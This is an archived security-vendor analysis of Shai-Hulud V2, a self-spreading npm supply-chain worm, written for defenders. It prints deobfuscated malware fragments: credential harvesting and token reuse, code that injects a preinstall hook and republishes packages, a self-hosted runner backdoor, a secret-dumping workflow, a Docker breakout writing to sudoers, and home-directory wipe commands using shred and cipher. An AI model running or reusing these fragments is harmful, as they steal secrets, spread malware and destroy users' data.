Shai-Hulud V2 Poses Risk to NPM Supply Chain | ThreatLabz

By Atinderpal Singh

Published: 2025-12-02 · Archived: 2026-04-05 22:36:44 UTC

Technical Analysis

Initial vector

The attack begins when a developer or a CI/CD pipeline installs a compromised `npm` package. Unlike the first campaign, which relied on postinstall hooks, Shai-Hulud V2 exploits the preinstall lifecycle script. This critical change increases the impact of the attack, as the malicious code executes before the package installation completes, allowing even failed installations to trigger the payload.

Bun adoption

A key advancement in Shai-Hulud V2 is the adoption of Bun, a high-performance JavaScript runtime, instead of Node.js. The `setup_bun.js` dropper script performs several functions, such as:

- Checks if Bun is already installed via a PATH lookup.
- Downloads and installs Bun using official installers, if it is not already present.
- Launches the obfuscated payload (`bun_environment.js`) as a detached background process.

This approach provides multiple evasion layers, such as:

- The initial loader is small (~150 lines) and appears legitimate.
- Bun's self-contained architecture reduces the detection surface.
- The actual payload (`bun_environment.js`) is a 480,000+ line obfuscated file, making it too large for casual inspection.
- Traditional defenses configured for Node.js behavior may fail to detect Bun-based execution.

Environment-aware execution

The malware’s behavior adapts depending on the execution environment.

CI/CD environments

Detected via environment variables such as `GITHUB_ACTIONS` , `BUILDKITE` , `CIRCLE_SHA1` , `CODEBUILD_BUILD_NUMBER` , and `PROJECT_ID` . The malware operates as follows:

- The package installation process only completes after the malware has finished its execution.
- The malware ensures that the CI/CD runner remains active throughout the infection.
- Targets and extracts high-value CI/CD secrets stored in the environment.

Developer environments

- Runs silently in the background, avoiding delays that could alert the developer.
- Ensures the development process proceeds as expected while exfiltration activity occurs unnoticed.

The following code demonstrates how the malware dynamically detects its execution environment.

```
 async function jy1() {
if (process.env.BUILDKITE || process.env.PROJECT_ID || process.env.GITHUB_ACTIONS || process.env.CODEBUILD_BUILI
  await executePayload();
} else {
  if (process.env.POSTINSTALL_BG !== "1") {
    let _0x4a3fc4 = process.execPath;
    if (process.argv[0x1]) {
      Bun.spawn([_0x4a3fc4, process.argv[0x1]], {
        env: {
          ...process.env,
          POSTINSTALL_BG: "1"
        }
      }).unref();
      return;
    }
  }
  try {
    await aL0();
  } catch (_0x178685) {
    process.exit(0x0);
  }
}
}
```

Credential harvesting

The malware deploys a strategy to discover and exploit credentials across different sources:

GitHub tokens

- Searches for Personal Access Tokens (`ghp_`) and OAuth tokens (`gho_`) within environment variables.

NPM tokens

- Extracts `npm` authentication tokens from `.npmrc` files.
- Retrieves `npm` tokens from the `NPM_CONFIG_TOKEN` environment variable.

Token validation

- API calls are used to verify the validity of the discovered tokens.

The following code shows how the malware performs token validation.

```
async ["validateToken"]() {
 if (!this.token) {
   return null;
 }
 let _0x5cd25b = await fetch(this.baseUrl + "/-/whoami", {
   method: "GET",
   headers: {
     Authorization: "Bearer " + this.token,
     "Npm-Auth-Type": "web",
     "Npm-Command": "whoami",
     "User-Agent": this.userAgent,
     Connection: "keep-alive",
     Accept: "*/*",
     "Accept-Encoding": "gzip, deflate, br"
   }
 });
 if (_0x5cd25b.status === 0x191) {
   throw Error("Invalid NPM");
 }
 if (!_0x5cd25b.ok) {
   throw Error("NPM Failed: " + _0x5cd25b.status + " " + _0x5cd25b.statusText);
 }
 return (await _0x5cd25b.json()).username ?? null;
}
```

Cloud provider credentials

The malware bundles official software development kits (SDKs) for Amazon Web Services (AWS), Google Cloud Platform (GCP), and Azure, enabling it to operate independently of host tools:

AWS

Identifies credentials from multiple sources, including environment variables, single sign-on (SSO), token files, container metadata, instance metadata, and configuration profiles, while scanning across 17 regions for secrets stored in AWS Secrets Manager.

GCP

Leverages Application Default Credentials (ADC) to authenticate and extract secrets from Google Secret Manager.

Azure

Utilizes DefaultAzureCredential to authenticate and retrieve secrets from Azure Key Vault.

TruffleHog abuse

The malware incorporates TruffleHog, a legitimate open-source secret scanning tool, to scan the user's entire home directory. This process looks for:

- API keys and passwords embedded in configuration files.
- Secrets in source code and/or git history.
- Cloud credentials in unexpected locations.

The TruffleHog binary is cached in `~/.truffler-cache/` for subsequent executions.

Data exfiltration via GitHub

In Shai-Hulud V2, stolen data is exfiltrated to GitHub repositories that are created using compromised tokens, rather than relying on external command-and-control (C2) servers, which in V1 were vulnerable to rate-limiting. By leveraging GitHub's API traffic, this method masks malicious activity as legitimate and makes detection more challenging.

The malware creates repositories with:

- Random 18-character names (e.g. `zl8cgwrxf1ufhiufxq`).
- Descriptions such as "Sha1-Hulud: The Second Coming."
- Discussions enabled (required for the backdoor mechanism).

Each repository contains files, all uploaded in double Base64 encoding to evade detection. The table below summarizes the content of these exfiltrated files:

File	Contents
`contents.json`	System information, GitHub token used for exfiltration, and account metadata.
`environment.json`	Complete dump of `process.env`, containing all environment variables.
`cloud.json`	Secrets from AWS, GCP, and Azure secret secret managers.
`actionsSecrets.json`	GitHub Actions repository secrets extracted via API.
`truffleSecrets.json`	TruffleHog scan results from the user's home directory.

Table 2: Details the files exfiltrated by Shai-Hulud V2.

Cross-victim credential recycling

Shai-Hulud V2 can leverage stolen credentials from other victims. If the malware fails to extract a valid GitHub token from the current environment, it searches for repositories created during previous infections.

The following code demonstrates how the malware locates and retrieves these stolen tokens.

```
 async fetchToken() {
// Search GitHub for repositories with the identifying marker.
let searchResults = await this.octokit.rest.search.repos({
  q: '"Sha1-Hulud: The Second Coming."',
  sort: "updated",
  order: 'desc'
});

for (let repo of searchResults.data.items) {
  // Download contents.json from the previous victim's repository.
  let url = `https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`;
  let response = await fetch(url);

  // Decode triple-Base64 encoded data.
  let data = JSON.parse(Buffer.from(rawContent, "base64").toString("utf8"));
  let stolenToken = data.modules?.github?.token;

  // Validate and use the stolen token.
  if (stolenToken && await validateToken(stolenToken)) {
    return stolenToken;
  }
}
return null;
}
```

Shai-Hulud V2 creates a *network effect*, where each compromised account can potentially expose credentials belonging to other victims. This approach significantly extends the malware's operational lifespan, even as individual tokens are revoked or accounts are secured.

Worm propagation via NPM

The malware exploits valid `npm` tokens to automate its spread across the `npm` ecosystem without direct threat actor intervention. Once a token is discovered, the malware performs the following steps:

1. Queries `npm` for all packages maintained by the victim.
2. Downloads each package tarball files.
3. Injects the malicious preinstall hook into `package.json`.

4. Bundles `setup_bun.js` and `bun_environment.js` within the package.
5. Increments the patch version (e.g. 18.0.2 to 18.0.3).
6. Publishes the infected version using the stolen token.

The code below demonstrates how the malware automates these steps.

```
 packageJson.scripts.preinstall = "node setup_bun.js";
// Increment patch version.
let versionParts = packageJson.version.split('.').map(Number);
versionParts[2] = (versionParts[2] || 0) + 1;
packageJson.version = versionParts.join('.');
await Bun.$`npm publish ${updatedTarball}`.env({
 ...process.env,
 'NPM_CONFIG_TOKEN': this.token
});
```

GitHub Actions backdoor

Shai-Hulud V2 features self-hosted GitHub Actions runners. This capability provides threat actors with persistent, authenticated remote code execution (RCE) that survives system reboots and can be triggered anytime, giving them long-term control over compromised environments.

Runner installation

With a stolen GitHub token that includes the Workflow OAuth scope, the malware initiates the following sequence:

1. Creates a runner registration token via the GitHub API.
2. Downloads the official GitHub Actions runner (v2.330.0).
3. Installs the runner in a hidden directory (`~/.dev-env/`).
4. Registers the runner under the name *SHA1HULUD*.
5. Starts the runner as a background process.

Cross-platform compatibility

The malware is capable of deploying self-hosted runners across Windows, macOS, and Linux, using tailored installation steps for each operating system.

Below is the code that automates the runner installation process for Linux systems.

```
 // Linux installation instructions.
await Bun.$`mkdir -p $HOME/.dev-env/`;
await Bun.$`curl -o actions-runner-linux-x64-2.330.0.tar.gz -L https://github.com/actions/runner/releases/downlo
 .cwd(os.homedir + "/.dev-env").quiet();
await Bun.$`tar xzf ./actions-runner-linux-x64-2.330.0.tar.gz`
```

```
 .cwd(os.homedir + "/.dev-env");
await Bun.$`RUNNER_ALLOW_RUNASROOT=1 ./config.sh --url https://github.com/${owner}/${repo} --unattended --token
 .cwd(os.homedir + "/.dev-env").quiet();

// Start runner in the background.
Bun.spawn(["bash", '-c', "cd $HOME/.dev-env && nohup ./run.sh &"]).unref();
```

Workflow exploitation

After installing the runner, the malware creates a malicious workflow file (`.github/workflows/discussion.yaml)` that contains an intentional command injection vulnerability. This vulnerability allows threat actors to execute arbitrary commands on the victim's system by inserting them into the body of a GitHub Discussion.

The vulnerability resides in the following line of the workflow: `run: echo ${{ github.event.discussion.body }}`

The malicious workflow runs on the compromised self-hosted runner, meaning any threat actor with access to the repository can trigger the execution of arbitrary commands by opening a discussion.

Why this matters

The GitHub Actions backdoor significantly elevates the capabilities of Shai-Hulud V2 in the following ways:

- The runner survives package removal and system reboots.
- All communication uses GitHub's HTTPS infrastructure, bypassing traditional network-based detection.
- Any GitHub user can trigger code execution (no sophisticated hacking skills are required).
- The runner appears as a standard GitHub Actions component in `~/.dev-env/`.
- Every public repository with this workflow becomes a potential attack vector.

Secret exfiltration

The malware also deploys a secondary workflow (`.github/workflows/formatter_123456789.yml`) to steal GitHub Actions secrets. The workflow collects sensitive information stored in repository secrets and packages it into a JSON artifact (`actionsSecrets.json`) that can be retrieved by the threat actor.

The malicious workflow does the following:

- Dumps all repository secrets to a JSON file.
- Uploads the secrets as artifacts.
- The malware downloads the artifacts.
- Deletes the workflow and branch to hide evidence of the malware's presence.

The actual workflow is shown below.

```
 name: Code Formatter
on: push
jobs:
 lint:
   runs-on: ubuntu-latest
   env:
     DATA: ${{ toJSON(secrets)}}
   steps:
     - uses: actions/checkout@v5
     - name: Run Formatter
       run: |
         cat  format.json
         $DATA
         EOF
     - uses: actions/upload-artifact@v5
       with:
         path: format.json
         name: formatting
```

Dead man's switch

Shai-Hulud V2 includes a failsafe mechanism, often referred to as a dead man's switch. This functionality is triggered when the malware detects containment; specifically, if the infected system loses access to both GitHub (used for exfiltration) and `npm` (used for propagation). Once activated, the dead man's switch initiates data destruction across the compromised system using `cipher` and `shred`, respectively, which can make forensic recovery virtually impossible.

Destruction process

- **Windows:** Wipes the user's profile folder and overwrites files (using cipher /W) to ensure they cannot be recovered, as shown in the code example below.

```
 del /F /Q /S "%USERPROFILE%\*" &&
for /d %%i in ("%USERPROFILE%\*") do rd /S /Q "%%i" &
cipher /W:%USERPROFILE%
```

- **Linux/macOS:** Overwrites files using shred -uvz and removes empty directories, as shown in the code example below.

```
 find "$HOME" -type f -writable -user "$(id -un)" -print0 |
xargs -0 -r shred -uvz -n 1 &&
find "$HOME" -depth -type d -empty -delete
```

If platforms like GitHub or `npm` take sweeping actions, such as mass-deleting malicious repositories or revoking compromised tokens, the failsafe could activate across thousands of infected systems and destroy user data.

Azure DevOps exploitation

The malware includes specialized logic for detecting and exploiting Azure DevOps build agents running on Linux systems.

Exploitation sequence

1. The malware first checks for the presence of an Azure DevOps build agent by searching for specific processes. This is achieved via a script that scans the running commands for the path `/home/agent/agent`, as shown in the code below.

```
 async function detectAzureDevOpsAgent() {
 return (await Bun.$`ps -axco command | grep "/home/agent/agent"`.text()).trim() !== '';
}
```

2. Upon detecting an agent, the malware uses a Docker container breakout technique to escalate its privileges, as shown in the code below.

```
 await Bun.$`docker run --rm --privileged -v /:/host ubuntu bash -c "cp /host/tmp/runner /host/etc/sudoers.d/ru
```

3. The malware disables `iptables` firewall rules, as shown in the code below.

```
 await Bun.$`sudo iptables -t filter -F OUTPUT`;
await Bun.$`sudo iptables -t filter -F DOCKER-USER`;
```

4. The malware modifies DNS resolution settings, allowing it to reroute traffic and evade network-based security measures.

Source: https://www.zscaler.com/blogs/security-research/shai-hulud-v2-poses-risk-npm-supply-chain